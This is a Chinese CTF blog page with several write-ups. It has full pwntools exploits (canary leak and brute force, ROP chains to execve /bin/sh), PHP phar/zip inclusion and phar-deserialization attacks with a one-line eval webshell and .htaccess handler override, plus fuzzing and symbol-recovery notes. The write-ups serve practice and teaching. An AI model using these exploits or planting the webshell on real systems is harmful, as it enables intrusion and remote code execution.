wubba lubba dub dub.
post @ 2023-08-19

题目链接

题目提示:js....?不确定,再看看。

打开页面F12查看js源码

搜索flag没发现什么有用信息;搜索php发现index.umd.js中有

1
Your gift just take it : /f@k3f1ag.php

访问f@k3f1ag.php,得到页面内容:

1
2
(+[![]]+[])[+[]]+(+[]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+[]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+
...

JSFuck加密后的内容

JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅仅使用六个不同的字符来编写和执行代码,分别是:{ } [ ] + !
它不依赖于浏览器,因此可以在Node.js上运行。

解密

法一

浏览器控制台中直接执行以上内容,即可得到flag

img

法二

在线解密网站解密

http://www.hiencode.com/jsfuck.html

http://codertab.com/JsUnFuck

Read More
post @ 2023-08-18

dyninst是一个纯二进制插桩工具,只需可执行文件即可插桩用于fuzz过程中检测覆盖率
注意: 由于dyninst插桩对二进制文件改动较大,很有可能导致插桩后的二进制程序无法执行

0x1 安装Dyninst

获取源码

1
git clone https://github.com/dyninst/dyninst

安装依赖

1
2
sudo apt-get update
sudo apt-get install cmake libblkid-dev e2fslibs-dev libboost-all-dev libaudit-dev libelf-dev libdwarf-dev libiberty-dev

编译配置

1
2
3
4
5
6
7
8
9
10
cd dyninst
mkdir build
mkdir target # 存储编译出的文件

cd build
cmake .. -DBOOST_LIBRARYDIR=/usr/lib/x86_64-linux-gnu -DCMAKE_INSTALL_PREFIX=../target -DLIBELF_LIBRARIES=/usr/local/lib/libelf.so -DLIBELF_INCLUDE_DIR=/usr/local/include

# 安装
make -j8
make install

0x2 安装AFL++(可选,用AFL也可以)

具体可见 https://github.com/AFLplusplus/AFLplusplus/blob/stable/docs/INSTALL.md

1
2
3
4
5
6
sudo apt-get install -y build-essential python3-dev automake cmake git flex bison libglib2.0-dev libpixman-1-dev python3-setuptools cargo libgtk-3-dev
sudo apt-get install -y ninja-build # for QEMU mode
git clone https://github.com/AFLplusplus/AFLplusplus
cd AFLplusplus
make distrib
sudo make install

0x3 安装AFL-Dyninst

获取源码

1
2
git clone https://github.com/vanhauser-thc/afl-dyninst
cd afl-dyninst

修改Makefile文件

1
2
3
4
5
6
7
8
9
10
11
# 需修改为刚才编译dyninst中的target文件夹
DYNINST_ROOT = /your/path/to/dyninst/target

# 需修改为刚才编译dyninst中的build文件夹
DYNINST_BUILD = /your/path/to/dyninst/target/build

# EDIT: path to afl src if you do not set a symlink from ./afl to the afl directory
AFL_ROOT = /usr/fuzz_pro/AFLplusplus-blogpost/AFLplusplus

...

编译安装

1
2
make
make install

补充共享库路径

程序有可能因找不到共享库而报错,因此要设定库路径
/afl-dyninst: error while loading shared libraries: libdyninstAPI.so.12.3: cannot open shared object file: No such file or directory

1
2
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/your/path/to/dyninst/target/lib
ldconfig

至此即可使用

0x4 AFL-Dyninst使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
afl-dyninst (c) 2017-2021 by Aleksandar Nikolic and Marc Heuse [https://github.com/vanhauser-thc/afl-dyninst] Apache 2.0 License
Usage: ./afl-dyninst -fvxD -i <binary> -o <binary> -e <address> -E <address> -s <number> -S <funcname> -I <funcname> -m <size>
-i: input binary
-o: output binary
-r: runtime library to instrument (path to, repeat for more than one)
-e: entry point address to patch (required for stripped binaries)
-E: exit point - force exit(0) at this address (repeat for more than one)
-s: number of initial basic blocks to skip in binary
-m: minimum size of a basic bock to instrument (default: 10)
-f: fix a dyninst bug that leads to crashes (performance loss, only dyninst9)
-I: only instrument this function and nothing else (repeat for more than one)
-S: do not instrument this function (repeat for more than one)
-D: instrument only a simple fork server and also forced exit functions
-x: experimental performance mode (~25-50% speed improvement)
-v: verbose output
Note: options -l and -d have been deprecated, use -r and -D instead.

二进制插桩

Dyninst 需要令 DYNINSTAPI_RT_LIB 环境变量指向libdyninstAPI_RT.so

1
2
3
4
5
export DYNINSTAPI_RT_LIB=/usr/local/lib/libdyninstAPI_RT.so
afl-dyninst -i bin -o bin_ins ([-e 程序入口] [-m 插桩的最小基本块大小] [-e 效率实验模式])

# 或直接执行
./afl-dyninst.sh -i bin -o bin_ins

fuzz

由于AFL会检查二进制程序是否有通过afl-gcc插桩过, 我们需要将环境变量AFL_SKIP_BIN_CHECK设为1

1
$ export AFL_SKIP_BIN_CHECK=1

这里就和正常的afl-fuzz一样了

1
afl-dyninst -i in_afl -o ou_afl -- ./bin_ins @@
Read More

相关资源

文件分析

1
2
3
4
5
6
$ checksec svc 
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ./svc
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>1
-------------------------
[*]SCV IS ALWAYS HUNGRY.....
-------------------------
[*]GIVE HIM SOME FOOD.......
-------------------------
>>h-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>2
-------------------------
[*]REVIEW THE FOOD...........
-------------------------
[*]PLEASE TREAT HIM WELL.....
-------------------------
h

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 __fastcall main(int a1, char **a2, char **a3)
{
[...]
int v23; // [rsp+4h] [rbp-BCh] BYREF
int v24; // [rsp+8h] [rbp-B8h]
int v25; // [rsp+Ch] [rbp-B4h]
char buf[168]; // [rsp+10h] [rbp-B0h] BYREF
unsigned __int64 v27; // [rsp+B8h] [rbp-8h]

v27 = __readfsqword(0x28u); // canary
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v23 = 0;
v24 = 1;
v25 = 0;
while ( v24 )
{
[...]
std::istream::operator>>(&std::cin, &v23);
switch ( v23 )
{
case 2:
[...]
puts(buf);
break;
case 3:
v24 = 0;
[...]
break;
case 1:
[...]
v25 = read(0, buf, 248uLL);
break;
default:
[...]
break;
}
}
return 0LL;
}
  1. 选项1读取输入,存在栈溢出
  2. 选项2输出栈上内容
  3. 选项3跳出循环,结束返回
  4. 存在canary

攻击方法

  1. 栈上填充至canary,然后输出,则可获取canary的值
  2. 栈上填充至ret address,然后输出,则可获取__libc_start_call_main的地址进而计算libc基址
  3. 计算systemstr_bin_sh真实地址,构造pop链

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./svc")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def feed(x):
sla(b'>>', b'1')
sa(b'>>', x)

def show():
sla(b'>>', b'2')

gscript = '''
b main
b * 0x400CCE
b * 0x400ddf
c
'''
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

ret = 0x4008b1
rdi_ret = 0x400ea3

# get canary
feed(b'h'*(168 + 1)) # 多1个是因为canary最后一个字节总是\x00,会截断输出,因此覆盖
show()
ru(b'h'*169)
canary = u64(ru(b'\n').strip(b'\x01\n').rjust(8, b'\x00'))
success(hex(canary))

# get libc base
feed(b'h'*184)
show()
start_main = ga() + 0xc0 - 0x8a # gdb 中调试计算偏移量
libc_base = start_main - libc.sym['__libc_start_main']
success(hex(libc_base))

system = libc_base + libc.sym['system']
str_binsh = libc_base + next(libc.search(b'/bin/sh'))

# pop chain
feed(b'h'*168 + p64(canary) + b'h'*8 + p64(ret) + p64(rdi_ret) +
p64(str_binsh) + p64(system))
sla(b'>>', b'3')

pi()
pause()
Read More
post @ 2023-08-16

相关资源

首先进入的是home.php界面,可以上传文件,但不论上传什么只要Content-Typeimage/png类型的都会被存储为uploads/{random}.png

而且可以注意到点击上传后url为:http://localhost/home.php?fp=upload

点击查看后url为http://localhost/home.php?fp=show&imagekey={random}

推测fp是一个文件前缀,拼接上.php后缀后通过文件包含来实现功能

由此 我们可以通过伪协议php://filter/convert.base64-encode/resource=xxx来读取文件内容

1
2
3
?fp=php://filter/convert.base64-encode/resource=home	# 注意没有.php因为会自动拼接
?fp=php://filter/convert.base64-encode/resource=show
?fp=php://filter/convert.base64-encode/resource=upload

再将得到的base64进行解码即可得到各文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// home.php
<?php
$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];
if(preg_match('/\.\./',$fp)){ # 不可文件夹穿越
die('No No No!');
}
if(preg_match('/rm/i',$_SERVER["QUERY_STRING"])){
die();
}
?>
<?php
if($fp !== 'fail'){
if(!(include($fp.'.php'))){ # 拼接并文件包含
?>
<div class="alert alert-danger" role="alert">没有此页面</div>
<?php
exit;
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// upload.php
<?php
include 'function.php';
if(isset($_POST['submit']) && !empty($_FILES['image']['tmp_name'])) {
$name = $_FILES['image']['tmp_name'];
$type = $_FILES['image']['type'];
$size = $_FILES['image']['size'];
if(!is_uploaded_file($name)) {
?>
<div class="alert alert-danger" role="alert">图片上传失败,请重新上传</div>
<?php
exit;
}
if($type !== 'image/png') { # Content-Type 必须为png
?>
<div class="alert alert-danger" role="alert">只能上传PNG图片</div>
<?php
exit;
}
if($size > 10240) {
?>
<div class="alert alert-danger" role="alert">图片大小超过10KB</div>
<?php
exit;
}
$imagekey = create_imagekey();
move_uploaded_file($name,"uploads/$imagekey.png"); # 移动至新文件名
echo "<script>location.href='?fp=show&imagekey=$imagekey'</script>";
}
?>

那么我们可以通过pharzip生成带1.php(木马文件)的压缩包,改名为xx.png直接上传,然后再通过伪协议访问1.php

phar

1
2
3
4
5
6
7
8
9
10
11
// phar.php
<?php
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"." __HALT_COMPILER(); "); //设置stub

$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->addFromString("1.php", "<?php @eval(\$_POST['cmd']);?>");
$phar->stopBuffering();
?>
// php phar.php; mv phar.phar phar.png;
1
?fp=phar://uploads/b732b00259385c9a996d4559011ed4f24584003a.png/1	// phar协议会自动解压压缩包内的文件内容,即访问1.php

zip

1
zip 1.zip 1.php
1
?fp=zip://uploads/61afff8789a2e5ac440dfd94c05455fa6dcdd142.png#1	//注意zip协议通过'#'来解压获取压缩包内文件
Read More

相关资源

文件分析

1
2
3
4
5
6
$ checksec feedme
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
$ ./feedme
FEED ME!
!0000000000000000000000000000000000000000000000000000000000000000000
ATE 30303030303030303030303030303030...
*** stack smashing detected ***: ./feedme terminated
Child exit.
FEED ME!
...

代码分析

首先SHIFT+F5利用签名文件恢复符号表,具体教程见符号表恢复
img

  1. 可以看到循环fork创建子线程,子线程执行sub_8049036 函数

    img

  2. sub_8049036 函数中I首先读取一个byte

  3. II读取这个byte值个数个byte到v3中,明显此处存在栈溢出

  4. III处明显存在canary栈溢出检查

攻击方法

该文件是静态链接的,但是没有找到库函数system,并且开启了栈不可执行
ALT+T 也没有找到syscall ,但是存在有int 80h 可以触发系统调用 sys_execve

参数:

1
2
3
4
eax -> 0xb	# sys_execve调用号
ebx -> '/bin/sh'指针
ecx -> 0
edx -> 0

fork出的子线程canary是不变的,由此我们可以对canary进行爆破,然后溢出构造pop链

爆破方法:从低(最低位一定是\x00,不用爆破)到高一个一个字节遍历覆盖,如果没有发现输出stack smashing,则说明当前字节正确,固定当前已获取的字节,接着下个字节爆破

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./feedme")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

gscript = '''
b main
b * 0x08049036
b * 0x080490C9
set follow-fork-mode child

'''
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

canary = b'\x00' # 最低位

for i in range(1, 4): # 剩下三位爆破
for j in range(0,0x100): # 0x00-0xff
sa(b'ME!', p8(32+i+1)+b'h'*32+ canary + p8(j)) # size + padding + canary
res = ru(b'exit.')
if b'smashing' not in res: # 正确
canary = canary + p8(j) # 更新canary
break # 去下一个字节

eax_ret = 0x080bb496
ebx_ret = 0x080481c9
edx_ret = 0x0806f34a
ecx_ebx_ret = 0x0806f371
mov_eax2pedx = 0x0809a7ed
int_80 = 0x08049761
dest = 0x080EBF40

payload = b'h'*32 + canary + p32(0)* 3 # padding + canary + padding2ret
payload += p32(edx_ret)+ p32(dest) # edx = str_ptr
payload += p32(eax_ret) + b'/bin' + p32(mov_eax2pedx) # eax = b'/bin'; mov dword ptr [edx], eax
payload += p32(edx_ret)+ p32(dest+4) # edx = str_ptr+4
payload += p32(eax_ret) + b'/sh\x00' + p32(mov_eax2pedx) # eax = b'/sh\x00'; mov dword ptr [edx], eax
payload += p32(eax_ret) + p32(0xb) # eax = 0xb
payload += p32(edx_ret) + p32(0) # edx = 0

payload += p32(ecx_ebx_ret) + p32(0) + p32(dest) # ecx = 0; ebx = str_ptr
payload += p32(int_80)

sa(b'ME!', p8(len(payload))+payload) # size + payload


pi()
pause()

Read More

相关资源

文件分析

1
2
3
4
5
6
$ checksec simplecalc
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ./simplecalc  
|#------------------------------------#|
| Something Calculator |
|#------------------------------------#|

Expected number of calculations: 50
Options Menu:
[1] Addition.
[2] Subtraction.
[3] Multiplication.
[4] Division.
[5] Save and Exit.
=> 1
Integer x: 1
Integer y: 1
Do you really need help calculating such small numbers?
Shame on you... Bye

代码分析

img

  1. 可以看到首先获取输入v20,然后进行v20次计算操作,计算结果存入数组v21
  2. 当选择选项5时,会将v21中的内容全部拷贝到v18中,明显此处存在栈溢出切溢出内容我们可以通过计算结果来控制

攻击方法

该文件是静态链接的,但是没有找到库函数system,并且开启了栈不可执行
ALT+T 查找syscall 发现存在,则可以利用系统调用来实现攻击
rdi -> '/bin/sh'字符串指针
rsi -> 0
rdx -> 0
rax -> 0x3b

  1. ROPgadget我们可以获取到可用pop指令地址
  2. 需要将’/bin/sh’写入到数据段中(写在栈上不知道地址,数据段地址固定)
    • ROPgadget --binary simplecalc --only "mov|ret"
    • 刚好有 0x0000000000400aba : mov qword ptr [rdi], rdx ; ret
    • 则只要构造pop链将目标地址置入rdi,将’/bin/sh’置入rdx再调用即可
  3. 最后构造pop链执行syscall

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
import sys

context(os='linux', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./simplecalc")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def addSingle(x):
proc.recvuntil("=> ")
proc.sendline("1")
proc.recvuntil("Integer x: ")
proc.sendline("100")
proc.recvuntil("Integer y: ")
proc.sendline(str(x - 100)) # 注意代码要求任意参与运算的数字都要大于0x27


def add(z):
# 注意数组中每个位置为int(dword型),
# 64位栈内基本块为qword,因此要分高低32位分别存入
x = z & 0xffffffff
y = ((z & 0xffffffff00000000) >> 32)
addSingle(x)
addSingle(y)

gscript = '''
b main
b * 0x401545
c
'''
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

rax_ret = 0x44db34
rdx_ret = 0x437a85
rdi_ret = 0x401b73
rsi_ret = 0x401c87
syscall = 0x400488
dest = 0x6C4480
mv_rdx2_prdi = 0x400aba


# rdi_ret + dest + rdx_ret + b'/bin/sh\x00' + mv_rdx2_prdi
# rsi_ret + p64(0) + rdx_ret + p64(0) + rax_ret + p64(0x3b) + syscall
sla(b'calculations: ', b'100')
for i in range(9):
# 填满当前栈空间,注意填到v21时最好填0,
# 因为代码会对v21进行free操作,填其他的可能触发段错误
add(0)

add(rdi_ret)
add(dest)
add(rdx_ret)
add(0x0068732f6e69622f) # /bin/sh

add(mv_rdx2_prdi)
add(rsi_ret)
add(0)
add(rdx_ret)
add(0)
add(rax_ret)
add(0x3b)
add(syscall)

sla(b'=> ', b'5')

pi()
pause()

Read More
post @ 2023-08-12

遇到静态编译且符号表被抠除的程序(如下图),很不利于分析

img

以下介绍恢复符号表的几种方法

1. IDA flair

flair通过选择的签名文件和程序中的函数进行签名匹配来帮助我们还原库函数
其中签名文件可以从sig-database中获取,有制作好的各架构各版本签名文件

使用方法

  1. 将签名文件(sig文件)导入到IDA的对应签名目录下IDAx.x\sig\pc
  2. IDA中按住SHIFT+F5
  3. 右键选择Apply new signature...
    img
  4. 选择签名文件进行匹配
    img
  5. 多尝试几个签名文件,直到成功匹配函数数量最多(Ctrl+Z 撤销之前选择的签名文件)
    img
    可以看到很多函数名已经恢复,代码也就好分析多了

总结

这种方法恢复符号表无需联网,但恢复有时效果也不好,在某些不能联网的比赛中可以作为首选

2. 自动检测脚本lscan

lscan可以自动检测静态二进制程序使用的libc版本

使用方法

1
2
3
4
git clone https://github.com/maroueneboubakri/lscan
cd lscan
python lscan -S [签名文件所在目录] -f [待检测文件]
# python lscan -S ./i386/sig -f ../bin

3. IDA Finger插件

Finger是阿里云·云安全技术实验室推出的一款二进制函数符号识别引擎,可以识别二进制程序中的库函数与常见的第三方函数,快速定位恶意代码,提高样本分析效率

使用方法

  1. pip 安装finger_sdk
    pip install finger_sdk
    注意安装Finger的python的版本要与IDAPython的版本一致
  2. Finger IDA plugin复制到IDA插件目录IDAx.x\plugins
  3. 重启IDA 在顶部菜单栏中可以看见Finger,选择支持单个函数、选中的多个函数和全部函数识别

总结

这种方法识别精度高,但需要联网并且函数较多时速度很慢

Read More
post @ 2023-08-10

题目链接

访问得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
 <?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($url,$filename) {
$this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
public function checkdir(){
if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
die('hacker!!!');
}
}
public function checkurl(){
$r = parse_url($this->url);
if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
die('hacker!!!');
}
}
public function checkext(){
if (stristr($this->filename,'..')){
die('hacker!!!');
}
if (stristr($this->filename,'/')){
die('hacker!!!');
}
$ext = substr($this->filename, strrpos($this->filename, ".") + 1);
if (preg_match("/ph/i", $ext)){
die('hacker!!!');
}
}
public function upload(){
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url,NULL,NULL,0,2048);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}
file_put_contents($this->userdir."/".$this->filename,$content);
}
public function remove(){
$this->checkdir();
$this->checkext();
if (file_exists($this->userdir."/".$this->filename)){
unlink($this->userdir."/".$this->filename);
}
}
public function count($dir) {
if ($dir === ''){
$num = count(scandir($this->userdir)) - 2;
}
else {
$num = count(scandir($dir)) - 2;
}
if($num > 0) {
return "you have $num files";
}
else{
return "you don't have file";
}
}
public function __toString() {
return implode(" ",scandir(__DIR__."/".$this->userdir));
}
public function __destruct() {
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
echo $string;
}
}

if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
highlight_file(__FILE__);
die();
}

$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
$dir->upload();
}
elseif ($_POST['action'] === "remove") {
$dir->remove();
}
elseif ($_POST['action'] === "count") {
if (!isset($_POST['dir'])){
echo $dir->count('');
} else {
echo $dir->count($_POST['dir']);
}
}

利用post传入的 urlfilename 创建dir对象

upload:

  1. 目录检查:是否被改
  2. url检查 :必须包含scheme,且scheme不能包含 filephp ,但没有过滤 dataphar
  3. 文件名后缀检查:不能包含ph
  4. file_get_contents 获取url中的内容并过滤,< 会被过滤,看来木马无法直接从内容上传
  5. file_put_contents 将内容存入userdir/filename

count:

展示上传目录文件数量,调用的话会发现文件会被定时删除

phar反序列化

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发

phar文件为php归档文件,相当于压缩包,可以存放多个文件,在被某些触发函数解析时 其中的MetaData会自动被反序列化(漏洞)

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

触发函数(部分)
file_get_content filectime file_exists file_get_contents
fileatime file_put_contents file filegroup
fopen fileinode unlink stat
fileowner fileperms is_dir is_executable
is_file copy stat readfile
  • $string = "your file in : ".$this->userdir; 有可能触发 __toString,查看目录信息

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    class dir{
    public $userdir;
    public $url;
    public $filename;
    }

    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"." __HALT_COMPILER(); "); //设置stub
    /**按照攻击链条构造对象***/
    $a = new dir();
    $a->userdir='../';
    $o = new dir();
    $o->userdir=$a;
    /***其余部分可作为模板***/
    $phar->setMetadata($o); //将要反序列化的对象存入meta-data
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();

    执行后生成 phar.phar文件,改为phar.gif

    上传脚本:

    1
    2
    3
    4
    5
    6
    import requests

    def getinfo(purl, filename, action):
    post_data = {"url": purl, "filename": filename, "action": action}
    response = requests.post("http://node2.anna.nssctf.cn:28055/", data=post_data)
    print(response.text)

    可以用VPS上传至服务器,然后传

    1
    getinfo('http://xx.xx.xx.xx/phar.gif', 'phar.gif', 'upload')

    或直接获取base64编码然后用data伪协议上传

    1
    2
    3
    4
    5
    6
    > base64 phar.phar
    < R0lGODlhIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86Mzoi
    ZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4v
    IjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1l
    IjtOO30IAAAAdGVzdC50eHQEAAAAZ5vUZAQAAAAMfn/YpAEAAAAAAAB0ZXN0blKehuzjSYAVLkjn
    JV2RJv5biehmVwrY/PBuUG3FIoQDAAAAR0JNQg==
    1
    2
    3
    4
    5
    6
    url='''data://image/gif;base64,R0lGODlhIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86Mzoi
    ZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4v
    IjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1l
    IjtOO30IAAAAdGVzdC50eHQEAAAAZ5vUZAQAAAAMfn/YpAEAAAAAAAB0ZXN0blKehuzjSYAVLkjn
    JV2RJv5biehmVwrY/PBuUG3FIoQDAAAAR0JNQg=='''
    getinfo(url, 'phar.gif', 'upload')

    可以看到上传到目录 upload/e0ee64a13ff7a0b04333c1d51fbbeadf

  • 上传.htaccess

    1
    2
    3
    getinfo('data://text/plain;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0', '.htaccess', 'upload')
    # 内容为:AddHandler php7-script .txt
    # 因为 < 被过滤,这同样可以达到效果,将txt解释为php
  • 现在有了phar文件,可以传phar://,在file_get_contents中触发反序列化

    1
    getinfo('phar://upload/e0ee64a13ff7a0b04333c1d51fbbeadf/phar.gif', '1', 'upload')

    得到 your file in : upload/e0ee64a13ff7a0b04333c1d51fbbeadfyour file in : . .. 887a185b1a408019your file in : ../

    所以上传文件夹绝对路径为 /var/html/www/887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf

  • 现在还是通过反序列化使得此文件夹中某个文件包含木马

    1
    2
    3
    4
    5
    public function __destruct() {
    $string = "your file in : ".$this->userdir;
    file_put_contents($this->filename.".txt", $string);
    echo $string;
    }

    可见stringfilename 均可控,让 string中包含木马即可

法一:

  • 上传木马名称文件(文件名没有过滤那么严)

    1
    getinfo('data://image/gif;base64,R0lG', "<?php @eval($_POST['cmd']);?>.txt", 'upload')

    这时,当前文件夹下就包含有<?php @eval($_POST['cmd']);?>.txt,再类似前步反序列化展示文件夹下内容,然后就写到txt文件中

  • phar构造

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    class dir{
    public $userdir;
    public $url;
    public $filename;
    }

    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"." __HALT_COMPILER(); "); //设置stub
